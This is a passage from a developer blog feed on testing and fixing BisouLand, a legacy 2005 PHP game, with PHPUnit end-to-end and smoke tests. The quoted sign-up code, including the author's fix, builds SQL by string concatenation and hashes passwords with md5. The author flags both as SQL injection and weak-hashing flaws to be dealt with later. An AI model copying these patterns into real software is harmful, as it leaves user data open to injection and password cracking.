    &lt;?php
    foo(
        1,
   -    2
   +    2,
    );

   ----------- end diff -----------

 * Example #4. Fixing with configuration: ['elements' =&gt; ['parameters']].
   ---------- begin diff ----------
   --- Original
   +++ New
   @@ -1,7 +1,7 @@
    &lt;?php
    function foo(
        $x,
   -    $y
   +    $y,
    )
    {
    }

   ----------- end diff -----------

The fixer is part of the following rule sets:
* @PER *(deprecated)* with config: ['after_heredoc' =&gt; true, 'elements' =&gt; ['arguments', 'array_destructuring', 'arrays', 'match', 'parameters']]
* @PER-CS with config: ['after_heredoc' =&gt; true, 'elements' =&gt; ['arguments', 'array_destructuring', 'arrays', 'match', 'parameters']]
* @PER-CS2.0 *(deprecated)* with config: ['after_heredoc' =&gt; true, 'elements' =&gt; ['arguments', 'array_destructuring', 'arrays', 'match', 'parameters']]
* @PER-CS2x0 with config: ['after_heredoc' =&gt; true, 'elements' =&gt; ['arguments', 'array_destructuring', 'arrays', 'match', 'parameters']]
* @PER-CS3.0 *(deprecated)* with config: ['after_heredoc' =&gt; true, 'elements' =&gt; ['arguments', 'array_destructuring', 'arrays', 'match', 'parameters']]
* @PER-CS3x0 with config: ['after_heredoc' =&gt; true, 'elements' =&gt; ['arguments', 'array_destructuring', 'arrays', 'match', 'parameters']]
* @PHP73Migration *(deprecated)* with config: ['after_heredoc' =&gt; true]
* @PHP74Migration *(deprecated)* with config: ['after_heredoc' =&gt; true]
* @PHP7x3Migration with config: ['after_heredoc' =&gt; true]
* @PHP7x4Migration with config: ['after_heredoc' =&gt; true]
* @PHP80Migration *(deprecated)* with config: ['after_heredoc' =&gt; true]
* @PHP81Migration *(deprecated)* with config: ['after_heredoc' =&gt; true]
* @PHP82Migration *(deprecated)* with config: ['after_heredoc' =&gt; true]
* @PHP83Migration *(deprecated)* with config: ['after_heredoc' =&gt; true]
* @PHP84Migration *(deprecated)* with config: ['after_heredoc' =&gt; true]
* @PHP85Migration *(deprecated)* with config: ['after_heredoc' =&gt; true]
* @PHP8x0Migration with config: ['after_heredoc' =&gt; true]
* @PHP8x1Migration with config: ['after_heredoc' =&gt; true]
* @PHP8x2Migration with config: ['after_heredoc' =&gt; true]
* @PHP8x3Migration with config: ['after_heredoc' =&gt; true]
* @PHP8x4Migration with config: ['after_heredoc' =&gt; true]
* @PHP8x5Migration with config: ['after_heredoc' =&gt; true]
* @PhpCsFixer with config: ['after_heredoc' =&gt; true, 'elements' =&gt; ['array_destructuring', 'arrays']]
* @Symfony with config: ['after_heredoc' =&gt; true, 'elements' =&gt; ['array_destructuring', 'arrays', 'match', 'parameters']]
</code></pre>

<blockquote>
  <p>⁉️ <em>Hold on, what about those <strong>SQL injection vulnerabilities</strong>?</em></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 3: End to End Tests]]></title>
            <link href="/2025/09/24/xl-3-end-to-end-tests.html"/>
            <updated>2025-09-24T00:00:00+01:00</updated>
            <id>/2025/09/24/xl-3-end-to-end-tests.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 The Beta Destroyer breaks free from the crypts of Manual Testing,
  forging unbreakable chains of End to End test scenarios,
  binding every component in the unholy covenant of automations! 🔥</p>
</blockquote>

<p>In this series, we're dealing with BisouLand, an eXtreme Legacy application
(2005 LAMP spaghetti code base). So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
<li><a href="/2025/09/17/xl-2-smoke-tests.html">💨 written Smoke Tests</a></li>
</ol>

<p>This means we can run it locally (http://localhost:8080/),
and have some level of automated tests.</p>

<p>But currently the tests are failing!</p>

<p>So, we'll inspect the issue, identify it,
write End to End tests which will be today's third article focus,
and finally we'll fix the bug.</p>

<p><img
    alt="The plan: we find the bug. We fix the bug. Now there are two bugs. Now there are three bugs"
    src="/images/xl-3-the-plan.jpg"
    width="100%" /></p>

<ul>
<li><a href="#identifying-the-issue">Identifying the issue</a></li>
<li><a href="#writing-the-test">Writing the test</a></li>
<li><a href="#test-data-cleanup">Test data cleanup</a></li>
<li><a href="#custom-assertion">Custom Assertion</a></li>
<li><a href="#fixing-the-bug">Fixing the bug</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="identifying-the-issue">Identifying the issue</h2>

<p>Let's run the tests to see the failure messages:</p>

<pre><code class="console">make test arg='--testdox --filter PlayerPages'
PHPUnit 12.3.2 by Sebastian Bergmann and contributors.

Runtime:       PHP 8.4.12
Configuration: /apps/qa/phpunit.xml.dist

FFFFFFFFFFFF............                                          24 / 24 (100%)

Time: 00:00.081, Memory: 18.00 MB

Player Pages (Bl\Qa\Tests\Smoke\PlayerPages)
 ✘ it loads account page (`/connected.html`) for logged in players
   ┐
   ├ Failed asserting that Page loads for logged in players
   │
   │ /apps/qa/tests/Smoke/Assertion/Assert.php:41
   │ /apps/qa/tests/Smoke/PlayerPagesTest.php:45
   ┴
[...]
FAILURES!
Tests: 24, Assertions: 24, Failures: 12.
</code></pre>

<p>The player cannot log in... Let's try manually,
first we need to sign-up a new player:</p>

<p><img alt="BisouLand signup attempt screenshot" src="/images/xl-3-signup-attempt-screenshot.png" width="100%" /></p>

<p>It worked:</p>

<p><img alt="BisouLand signup errot screenshot" src="/images/xl-3-signup-success-screenshot.png" width="100%" /></p>

<p>Now let's log in:</p>

<p><img alt="BisouLand signup attempt screenshot" src="/images/xl-3-login-attempt-screenshot.png" width="100%" /></p>

<p>But it fails! The error says the username doesn't exist:</p>

<p><img alt="BisouLand signup errot screenshot" src="/images/xl-3-login-failure-screenshot.png" width="100%" /></p>

<p>Inspecting the database shows that the player data wasn't inserted.</p>

<p>The Smoke Tests didn't catch directly the login error,
because it's an error printed inside the HTML,
and our tests only check for status code <code>200</code>.</p>

<p>So this highlights the limits of Smoke Tests
(though we have to recognise that they did indirectly catch the issue,
with players being unable to login).</p>

<p>The code handling signing up is located in <code>./apps/monolith/web/phpincludes/inscription.php</code>,
and hold on to your socks because it looks like this:</p>

<pre><code class="php">&lt;?php
if (false == $_SESSION['logged']) {
    $send = 0;
    $pseudo = '';
    $mdp = '';
    if (isset($_POST['inscription'])) {
        // Mesure de securite.
        $pseudo = htmlentities(addslashes($_POST['Ipseudo']));
        $mdp = htmlentities(addslashes($_POST['Imdp']));
        $mdp2 = htmlentities(addslashes($_POST['Imdp2']));
        // Prevoir empecher de prendre un pseudo deje existant
        // Si les variables contenant le pseudo, le mot de passe existent et contiennent quelque chose.
        if (isset($_POST['Ipseudo'], $_POST['Imdp'], $_POST['Imdp2']) &amp;&amp; !empty($_POST['Ipseudo']) &amp;&amp; !empty($_POST['Imdp']) &amp;&amp; !empty($_POST['Imdp2'])) {
            if ($mdp == $mdp2) {
                // Si le pseudo est superieur e 3 caracteres et inferieur e 35 caracteres.
                $taille = strlen(trim($_POST['Ipseudo']));
                if ($taille &gt;= 4 &amp;&amp; $taille &lt;= 15) {
                    /* //Mesure de securite.
                    $pseudo = htmlentities(addslashes($_POST['pseudo']));
                    $mdp = htmlentities(addslashes($_POST['mdp']));*/

                    // La requete qui compte le nombre de pseudos
                    $sql = mysql_query("SELECT COUNT(*) AS nb_pseudo FROM membres WHERE pseudo='".$pseudo."'");

                    // Verifie si le pseudo n'est pas deje pris.
                    if (0 == mysql_result($sql, 0, 'nb_pseudo') &amp;&amp; 'BisouLand' != $pseudo) {
                        // Verifie que le pseudo est correct.
                        if (preg_match("!^\w+$!", $pseudo)) {
                            if (preg_match("!^\w+$!", $mdp)) {
                                // Si le mot de passe est superieur e 4 caracteres.
                                $taille = strlen(trim($_POST['Imdp']));
                                if ($taille &gt;= 5 &amp;&amp; $taille &lt;= 15) {
                                    // On execute la requete qui enregistre un nouveau membre.

                                    // Hashage du mot de passe avec md5().
                                    $hmdp = md5($mdp);

                                    mysql_query("INSERT INTO membres (id, pseudo, mdp, confirmation, lastconnect) VALUES ('', '".$pseudo."', '".$hmdp."', '1', ".time().')');

                                    echo 'Ton inscription est confirmée ! Tu peux maintenant te connecter.&lt;br /&gt;';
                                    $send = 1;
                                } else {
                                    echo 'Erreur : le mot de passe est soit trop court, soit trop long !';
                                }
                            } else {
                                echo 'Erreur : le mot de passe n\'est pas valide !';
                            }
                        } else {
                            echo 'Erreur : le pseudo n\'est pas valide !';
                        }
                    } else {
                        echo 'Erreur : pseudo deje pris !';
                    }
                } else {
                    echo 'Erreur : le pseudo est soit trop court, soit trop long !';
                }
            } else {
                echo 'Erreur : Tu n\'as pas rentre deux fois le meme mot de passe !';
            }
        } else {
            echo 'Erreur : Pense e remplir tous les champs !';
        }
    }
    if (0 == $send) {
        ?&gt;
&lt;form method="post" class="formul" action="inscription.html"&gt;
    &lt;label&gt;Pseudo :&lt;br /&gt;&lt;span class="petit"&gt;(Entre 4 et 15 caracteres)&lt;/span&gt;&lt;br /&gt;&lt;input type="text" name="Ipseudo" tabindex="10" size="15" maxlength="15" value="&lt;?php echo stripslashes($pseudo); ?&gt;"/&gt;&lt;/label&gt;&lt;br /&gt;
    &lt;label&gt;Mot de passe : &lt;br /&gt;&lt;span class="petit"&gt;(Entre 5 et 15 caracteres)&lt;/span&gt;&lt;br /&gt;&lt;input type="password" name="Imdp" tabindex="20" size="15" maxlength="15" value=""/&gt;&lt;/label&gt;&lt;br /&gt;
    &lt;label&gt;Reecris le mot de passe : &lt;br /&gt;&lt;input type="password" name="Imdp2" tabindex="30" size="15" maxlength="15" value=""/&gt;&lt;/label&gt;&lt;br /&gt;
    &lt;input type="submit" name="inscription" value="S'inscrire" /&gt;
&lt;/form&gt;
&lt;?php
    }
} else {
    echo 'Pfiou t\'es dja connected toi !!';
}
?&gt;
</code></pre>

<p>Now, that's eXtreme Legacy!!!</p>

<p>Let's focus on the problematic line,
which is supposed to save the player's data in the database
(I've reformatted it a bit for readability):</p>

<pre><code class="php">mysql_query(
    'INSERT INTO membres (id, pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
    ." VALUES ('', '{$pseudo}', '{$hmdp}', '1', ".time().', '.time().", '300')"
);
</code></pre>

<p>There are many problems here (deprecated function, SQL injection vulnerability,
use of cryptologically broken md5 for password hashing etc),
but what jumps to my attention is the use of <code>''</code> for the ID value.</p>

<p>After some research it turns out this code worked fine in older MySQL versions,
because MySQL would silently convert the empty string to <code>0</code>,
and since the id field is an <code>AUTO_INCREMENT</code> integer,
MySQL would then treat that <code>0</code> as a signal to generate the next sequence value.</p>

<p>However MySQL 5.7 (which is the version we picked!), released in October 2015,
introduced a significant change: <code>STRICT_TRANS_TABLES</code> became enabled by default.
This means MySQL now rejects data type error like this one.</p>

<p>So to fix the issue we can change the MySQL version,
but the end goal is to upgrade the versions to the most recent, not to downgrade,
so let's instead just fix the code.</p>

<p>But first, we need to write a test: Test Driven Development, or no tests at all! 🤘</p>

<h2 id="writing-the-test">Writing the test</h2>

<p>There are two kinds of tests that I hate: Smoke Tests, and End to End Tests.</p>

<p>End to End tests usually are about navigating the application, which is slow,
and checking for the content of the response, which is brittle.</p>

<p>However in this scenario, there are no alternative to test the features:
there are no HTTP framework, or handler / controller / services classes used
to allow us to write Functional / Integration / System tests.</p>

<p>To test our sign-up, all we can do is:</p>

<ul>
<li>issue a POST request to simulate the form being submitted</li>
<li>check in the database if the expected record has been persisted</li>
</ul>

<p>So let's just do that:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\EndToEnd;

use Bl\Qa\Tests\EndToEnd\Assertion\Assert;
use Bl\Qa\Tests\Infrastructure\Scenario\SignUpNewPlayer;
use Bl\Qa\Tests\Infrastructure\TestKernelSingleton;
use PHPUnit\Framework\Attributes\CoversNothing;
use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Large;
use PHPUnit\Framework\Attributes\TestDox;
use PHPUnit\Framework\TestCase;

#[CoversNothing]
#[Large]
final class SignUpTest extends TestCase
{
    public function test_it_allows_visitors_to_become_players(): void
    {
        $httpClient = TestKernelSingleton::get()-&gt;httpClient();

        $player = SignUpNewPlayer::run(
            'BisouTest',
            'password',
            'password',
        );

        Assert::signedUpCount($player-&gt;username, 1);
    }

    #[DataProvider('invalidCredentialsProvider')]
    #[TestDox('It prevents invalid credentials: $description')]
    public function test_it_prevents_invalid_credentials(string $username, string $password, string $description): void
    {
        SignUpNewPlayer::run(
            $username,
            $password,
            $password,
        );

        Assert::signedUpCount($username, 0);
    }

    /**
     * [string $username, string $password, string $description][].
     *
     * @return array&lt;array{string, string, string}&gt;
     */
    public static function invalidCredentialsProvider(): array
    {
        return [
            ['usr', 'password', 'username too short (&lt; 4 characters)'],
            ['test_sign_up02__', 'password', 'username too long (&gt; 15 characters)'],
            ['test_sign_up03!', 'password', 'username contains special characters (non alpha-numerical, not an underscore (`_`))'],
            ['test_sign_up05', 'pass', 'password too short (&lt; 5 characters)'],
            ['test_sign_up06', 'passwordthatistoolong', 'password too long (&gt; 15 characters)'],
            ['test_sign_up07', 'password!', 'password contains special characters (non alpha-numerical, not an underscore (`_`))'],
            ['BisouLand', 'password', 'system account, for notifications'],
        ];
    }

    #[TestDox('It prevents usernames that are already used')]
    public function test_it_prevents_usernames_that_are_already_used(): void
    {
        $httpClient = TestKernelSingleton::get()-&gt;httpClient();

        $username = 'BisouTest_';
        $password = 'password';
        $passwordConfirmation = $password;

        // First registration should succeed
        SignUpNewPlayer::run(
            $username,
            $password,
            $passwordConfirmation,
        );
        // Second registration should fail
        SignUpNewPlayer::run(
            $username,
            $password,
            $passwordConfirmation,
        );

        Assert::signedUpCount($username, 1);
    }

    public function test_it_prevents_passwords_that_do_not_match_confirmation(): void
    {
        $httpClient = TestKernelSingleton::get()-&gt;httpClient();

        $username = 'BisouTest';
        $password = 'password';
        $passwordConfirmation = 'different';

        SignUpNewPlayer::run(
            $username,
            $password,
            $passwordConfirmation
        );

        Assert::signedUpCount($username, 0);
    }
}
</code></pre>

<p>If I've read the long and nested if statements correctly,
this should cover all the different sign-up scenarios,
including username and password checking.</p>

<p>For now let's just run the "happy scenario" test to make sure it fails:</p>

<pre><code class="console">make test arg='--testdox --filter test_it_allows_visitors_to_become_players'
PHPUnit 12.3.2 by Sebastian Bergmann and contributors.

Runtime:       PHP 8.4.12
Configuration: /apps/qa/phpunit.xml.dist

F                                                                   1 / 1 (100%)

Time: 00:00.032, Memory: 18.00 MB

Sign Up (Bl\Qa\Tests\EndToEnd\SignUp)
 ✘ It allows visitors to become players
   ┐
   ├ Failed asserting that Signed Up Count 0 is 1
   │
   │ /apps/qa/tests/EndToEnd/Assertion/Assert.php:114
   │ /apps/qa/tests/EndToEnd/SignUpTest.php:30
   ┴

FAILURES!
Tests: 1, Assertions: 1, Failures: 1.
</code></pre>

<p>Brilliant! Before we fix it, I'll dive a bit more in the test details.</p>

<h2 id="test-data-cleanup">Test data cleanup</h2>

<p>I was surprised to find out that the username <code>BisouLand</code> was forbidden,
turns out it is used to send system notifications
(though I note that the checks are case sensitive only).</p>

<p>This is actually what inspired me to use <code>BisouTest</code> as a special test username,
if you remember correctly in the <code>SignUpNewPlayer</code> scenario,
which we've reused from the Smoke Tests as we would have done the exact same logic,
we have the following:</p>

<pre><code class="php">        if ('BisouTest' === $username) {
            $username = substr('BisouTest_'.uniqid(), 0, 15);
        }
</code></pre>

<p>This makes sure that there will be no username duplicates.</p>

<p>One thing I didn't mention in my previous article was that I've setup a way
to cleanup the test data with the <code>DeleteAllTestPlayers</code> scenario:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\Infrastructure\Scenario;

use Bl\Qa\Tests\Infrastructure\TestKernelSingleton;

final readonly class DeleteAllTestPlayers
{
    public static function run(): void
    {
        $pdo = TestKernelSingleton::get()-&gt;pdo();

        $pdo-&gt;query("DELETE FROM membres WHERE pseudo LIKE 'BisouTest%'");
    }
}
</code></pre>

<p>This is called by a PHPUnit subscriber for the <code>TestRunner\Finished</code> event:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\Infrastructure\Subscriber;

use Bl\Qa\Tests\Infrastructure\Scenario\DeleteAllTestPlayers;
use PHPUnit\Event\TestRunner\Finished;
use PHPUnit\Event\TestRunner\FinishedSubscriber;

final readonly class TestCleanupSubscriber implements FinishedSubscriber
{
    public function notify(Finished $event): void
    {
        DeleteAllTestPlayers::run();
    }
}
</code></pre>

<p>This will be called once the testsuite is finished executing,
but only if we register the subscriber in a PHPUnit Extension:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\Infrastructure\Subscriber;

use PHPUnit\Runner\Extension\Extension;
use PHPUnit\Runner\Extension\Facade;
use PHPUnit\Runner\Extension\ParameterCollection;
use PHPUnit\TextUI\Configuration\Configuration;

final readonly class TestCleanupExtension implements Extension
{
    public function bootstrap(Configuration $configuration, Facade $facade, ParameterCollection $parameters): void
    {
        $facade-&gt;registerSubscriber(new TestCleanupSubscriber());
    }
}
</code></pre>

<p>The extension also has to be registered in the <code>phpunit.xml</code> config:</p>

<pre><code class="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!-- https://phpunit.readthedocs.io/en/latest/configuration.html --&gt;
&lt;phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"
         bootstrap="vendor/autoload.php"
         cacheDirectory=".phpunit.cache"
         executionOrder="depends,defects"
         shortenArraysForExportThreshold="10"
         requireCoverageMetadata="true"
         beStrictAboutCoverageMetadata="true"
         beStrictAboutOutputDuringTests="true"
         displayDetailsOnPhpunitDeprecations="true"
         colors="true"
         failOnPhpunitDeprecation="true"
         failOnRisky="true"
         failOnWarning="true"&gt;
    &lt;php&gt;
        &lt;ini name="display_errors" value="1" /&gt;
        &lt;ini name="error_reporting" value="-1" /&gt;
        &lt;env name="APP_ENV" value="test" force="true" /&gt;
        &lt;env name="SHELL_VERBOSITY" value="-1" /&gt;
    &lt;/php&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="smoke"&gt;
            &lt;directory&gt;tests/Smoke&lt;/directory&gt;
        &lt;/testsuite&gt;
        &lt;testsuite name="end-to-end"&gt;
            &lt;directory&gt;tests/EndToEnd&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;

    &lt;extensions&gt;
        &lt;bootstrap class="Bl\Qa\Tests\Infrastructure\Subscriber\TestCleanupExtension"/&gt;
    &lt;/extensions&gt;

    &lt;source ignoreIndirectDeprecations="true" restrictNotices="true" restrictWarnings="true"&gt;
        &lt;include&gt;
            &lt;directory&gt;../monolith/web&lt;/directory&gt;
        &lt;/include&gt;
    &lt;/source&gt;
&lt;/phpunit&gt;
</code></pre>

<h2 id="custom-assertion">Custom Assertion</h2>

<p>I've created a <code>signedUpCount</code> custom assertion,
which will count in the database the number of records persisted for a given
username:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\EndToEnd\Assertion;

use Bl\Qa\Tests\Infrastructure\TestKernelSingleton;
use PHPUnit\Framework\Assert as PHPUnitAssert;

final readonly class Assert
{
    public static function signedUpCount(string $username, int $expectedCount): void
    {
        $pdo = TestKernelSingleton::get()-&gt;pdo();

        $stmt = $pdo-&gt;prepare('SELECT COUNT(*) FROM membres WHERE pseudo = :username');
        $stmt-&gt;execute([
            'username' =&gt; $username,
        ]);
        $actualCount = (int) $stmt-&gt;fetchColumn();

        PHPUnitAssert::assertSame(
            $expectedCount,
            $actualCount,
            "Failed asserting that Signed Up Count {$actualCount} is {$expectedCount}",
        );
    }
}
</code></pre>

<p>I think there's an argument to have had made two assertions
(eg <code>signedUpSuccessful</code> count = 1, and <code>signedUpFailed</code> count = 0),
but for now I'm happy with this.</p>

<h2 id="fixing-the-bug">Fixing the bug</h2>

<p>We're going to fix that bug by removing the ID field from the query:</p>

<pre><code class="php">mysql_query(
    'INSERT INTO membres (pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
    ." VALUES ('{$pseudo}', '{$hmdp}', '1', ".time().', '.time().", '300')"
);
</code></pre>

<p>Let's see if the bug is fixed by running the one test:</p>

<pre><code class="console">make test arg='--testdox --filter test_it_allows_visitors_to_become_players'
PHPUnit 12.3.2 by Sebastian Bergmann and contributors.

Runtime:       PHP 8.4.12
Configuration: /apps/qa/phpunit.xml.dist

.                                                                   1 / 1 (100%)

Time: 00:00.018, Memory: 18.00 MB

Sign Up (Bl\Qa\Tests\EndToEnd\SignUp)
 ✔ It allows visitors to become players

OK (1 test, 1 assertion)
</code></pre>

<p>So far so good, let's confirm by running all the tests:</p>

<pre><code class="console">make test
PHPUnit 12.3.2 by Sebastian Bergmann and contributors.

Runtime:       PHP 8.4.12
Configuration: /apps/qa/phpunit.xml.dist

.................................................                 49 / 49 (100%)

Time: 00:00.162, Memory: 18.00 MB

OK (49 tests, 49 assertions)
</code></pre>

<p>Excellent! All fixed!</p>

<h2 id="conclusion">Conclusion</h2>

<p>I believe there will be many more instances of this,
and given the success of this fix we can assume it's safe to apply to all instances.</p>

<p>But I know these <code>mysql_query</code> calls will be removed very soon:</p>

<ul>
<li>they are deprecated</li>
<li>the query used is vulnerable to SQL Injection</li>
</ul>

<p>The End to End tests we've written also allow us to refactor the code,
instead of a nested list we can for example make use of early returns.</p>

<p>But if I have to refactor that code, I want to do it right,
by first writing unit tests which will make a design model emerge,
and by creating an API so we can also have integration tests.</p>

<p>Once we have these, both the Smoke Tests and End to End tests can be removed.</p>

<p>So I'm going to leave this as is for now.</p>

<blockquote>
  <p>⁉️ <em>What do you mean, "the code is ugly"??</em></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 2: Smoke Tests]]></title>
            <link href="/2025/09/17/xl-2-smoke-tests.html"/>
            <updated>2025-09-17T00:00:00+01:00</updated>
            <id>/2025/09/17/xl-2-smoke-tests.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 The Quality Avenger emerges from the burning forges of Coding Standards,
  smelting the ores of Static Analysis into the moulds of Automated Testing. 🔥</p>
</blockquote>

<p>In this series, we're dealing with BisouLand, an eXtreme Legacy application
(2005 LAMP spaghetti code base). So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
</ol>

<p>This means we can access it (http://localhost:8080/) and manually check it.
Unfortunately looking at the <a href="https://github.com/pyricau/bisouland/tree/4.0.1">code</a>,
it's obvious we cannot launch it to production as is:</p>

<ul>
<li>Encoding Issues</li>
<li>Broken Authentication and Session Management</li>
<li>Cross-Site Scripting (XSS) Flaws</li>
<li>Injection Flaws, including SQL injection</li>
<li>Improper Error Handling</li>
<li>Non Compliance with GDPR requirements</li>
</ul>

<p>But how do we know we're not breaking anything when fixing these?
As things currently stand, we don't even know what features BisouLand has.</p>

<p>So, we're going to need to write tests, which will be today's second article focus.</p>

<ul>
<li><a href="#qa-app">QA app</a></li>
<li><a href="#smoke-tests">Smoke Tests</a></li>
<li><a href="#custom-assertions">Custom Assurance</a></li>
<li><a href="#scenarios">Scenarios</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="qa-app">QA app</h2>

<p>The first plan of action is to move the current app into the <code>./apps/monolith</code>
sub-folder, and to create a new QA one in <code>./apps/qa</code>.</p>

<p>This approach will allow us to isolate the legacy code from any tooling we might
need to bring it up to standards.</p>

<p>The QA application has the following tree directory:</p>

<pre><code>apps/qa/
├── composer.json
├── composer.lock
├── compose.yaml
├── Dockerfile
├── Makefile
├── phpstan-baseline.neon
├── phpstan.neon.dist
├── phpunit.xml.dist
├── README.md
└── tests/
</code></pre>

<p>As you can see, it has its own <code>Dockerfile</code>:</p>

<pre><code># syntax=docker/dockerfile:1

###
# PHP Dev Container
# Utility Tools: PHP, bash, Composer
###
FROM php:8.4-cli-alpine AS php_dev_container

# Composer environment variables:
# * default user is superuser (root), so allow them
# * put cache directory in a readable/writable location
# _Note_: When running `composer` in container, use `--no-cache` option
ENV COMPOSER_ALLOW_SUPERUSER=1 \
    COMPOSER_CACHE_DIR=/tmp/.composer/cache

# Install dependencies:
# * bash for shell access and scripting
# * zip for composer packages that use ZIP archives
# _Note (Alpine)_: `--no-cache` includes `--update` and keeps image size minimal
#
# Then install PHP extensions
#
# _Note (Hadolint)_: No version locking, since Alpine only ever provides one version
# hadolint ignore=DL3018
RUN apk add --update --no-cache \
        bash \
        libzip-dev \
        zip \
    &amp;&amp; docker-php-ext-install \
        bcmath \
        pdo \
        pdo_mysql \
        zip

# Copy Composer binary from composer image
# _Note (Hadolint)_: False positive as `COPY` works with images too
# See: https://github.com/hadolint/hadolint/issues/197#issuecomment-1016595425
# hadolint ignore=DL3022
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer

WORKDIR /apps/qa

# Caching `composer install`, as long as composer.{json,lock} don't change.
COPY composer.json composer.lock ./
RUN composer install \
    --no-cache \
    --no-interaction \
    --no-plugins \
    --no-scripts \
    --optimize-autoloader

# Copy the remaining application files (excluding those listed in .dockerignore)
COPY . .
</code></pre>

<p>And <code>compose.yaml</code>:</p>

<pre><code class="yaml">name: skyswoon-qa

services:
  app:
    build: .
    command: php -S 0.0.0.0:8081
    volumes:
      # Mount current directory into container for QA tools and configs
      - .:/apps/qa
      # Mount the monolith source code for analysis
      - ../monolith:/apps/monolith
    networks:
      - default
      - skyswoon-monolith_default

networks:
  skyswoon-monolith_default:
    external: true
</code></pre>

<p>This allows us to have QA in its own container (with PHP 8.4),
but it can still communicate with the monolith container,
so we can issue curl requets or query the MySQL database.</p>

<p>It also allows access to the monolith source files,
so we can run toolings on them like phpstan, rector, PHP CS Fixer, etc.</p>

<h2 id="smoke-tests">Smoke Tests</h2>

<p>There are two kinds of tests that I hate
(this is coming from a Test Driven Development practitioner, btw!)
and one of them is Smoke Tests.</p>

<p>Those basically issue a curl request,
and only check the bare minimum such as the status code is <code>200</code>.</p>

<p>I don't like these because they are slow (remote requests),
unreliable (errors like form validation, page not found, etc will still return <code>200</code>),
and overall don't provide much value at all.</p>

<p>However in this specific case I still think Smoke Tests can help us,
notably to make a list of what pages the website has,
and also differentiate the ones that are public,
and the ones that should only be accessed by logged in players.</p>

<p>This will be valuable knowledge,
and once we have better test coverage <strong>we can get rid of those</strong>.</p>

<p>After manually navigating the website, checking the <code>pages.php</code> file,
and overall getting familiar with the app,
I've documented my findings in a data provider in the following Smoke Test,
which checks if all private pages are accessible to logged in players,
but not for logged out visitors:</p>

<pre><code class="php">&lt;?php

declare(strict_types=1);

namespace Bl\Qa\Tests\Smoke;

use Bl\Qa\Tests\Infrastructure\Scenario\GetLoggedInPlayer;
use Bl\Qa\Tests\Infrastructure\TestKernelSingleton;
use Bl\Qa\Tests\Smoke\Assertion\Assert;
use PHPUnit\Framework\Attributes\CoversNothing;
use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Large;
use PHPUnit\Framework\Attributes\TestDox;
use PHPUnit\Framework\TestCase;

#[CoversNothing]
#[Large]
final class PlayerPagesTest extends TestCase
{
    #[TestDox('it blocks $pageName page (`$url`) for visitors')]
    #[DataProvider('playerPagesProvider')]
    public function test_it_blocks_player_page_for_visitors(string $url, string $pageName): void
    {
        $httpClient = TestKernelSingleton::get()-&gt;httpClient();

        $response = $httpClient-&gt;request('GET', $url);

        Assert::blocksPageForLoggedOutVisitors($response);
    }

    #[TestDox('it loads $pageName page (`$url`) for logged in players')]
    #[DataProvider('playerPagesProvider')]
    public function test_it_loads_player_page_for_logged_in_players(string $url, string $pageName): void
    {
        $httpClient = TestKernelSingleton::get()-&gt;httpClient();

        $loggedInPlayer = GetLoggedInPlayer::run();

        $response = $httpClient-&gt;request('GET', $url, [
            'headers' =&gt; [
                'Cookie' =&gt; $loggedInPlayer-&gt;sessionCookie,
            ],
        ]);

        Assert::loadsPageForLoggedInPlayers($response);
    }

    /**
     * @return array&lt;array{string, string}&gt;
     */
    public static function playerPagesProvider(): array
    {
        return [
            ['/connected.html', 'account'],
            ['/action.html', 'blow kisses'],
            ['/cerveau.html', 'brain'],
            ['/changepass.html', 'change password'],
            ['/nuage.html', 'clouds'],
            ['/yeux.html', 'eyes'],
            ['/boite.html', 'inbox'],
            ['/bisous.html', 'kisses'],
            ['/construction.html', 'organs'],
            ['/infos.html', 'reference'],
            ['/techno.html', 'techniques'],
            ['/lire.html', 'view message'],
        ];
    }
}
</code></pre>

<p>Running this test <em>should</em> output the following:</p>

<pre><code class="console">&gt; make test arg='--testdox --filter PlayerPages'
PHPUnit 12.3.2 by Sebastian Bergmann and contributors.

Runtime:       PHP 8.4.11
Configuration: /apps/qa/phpunit.xml.dist

........................                                          24 / 24 (100%)

Time: 00:00.606, Memory: 18.00 MB

Player Pages (Bl\Qa\Tests\Smoke\PlayerPages)
 ✔ it blocks organs page (`/construction.html`) for visitors
 ✔ it blocks account page (`/connected.html`) for visitors
 ✔ it blocks reference page (`/infos.html`) for visitors
 ✔ it blocks kisses page (`/bisous.html`) for visitors
 ✔ it blocks brain page (`/cerveau.html`) for visitors
 ✔ it blocks change·password page (`/changepass.html`) for visitors
 ✔ it blocks eyes page (`/yeux.html`) for visitors
 ✔ it blocks view·message page (`/lire.html`) for visitors
 ✔ it blocks clouds page (`/nuage.html`) for visitors
 ✔ it blocks inbox page (`/boite.html`) for visitors
 ✔ it blocks techniques page (`/techno.html`) for visitors
 ✔ it blocks blow·kisses page (`/action.html`) for visitors
 ✔ it loads view·message page (`/lire.html`) for logged in players
 ✔ it loads eyes page (`/yeux.html`) for logged in players
 ✔ it loads brain page (`/cerveau.html`) for logged in players
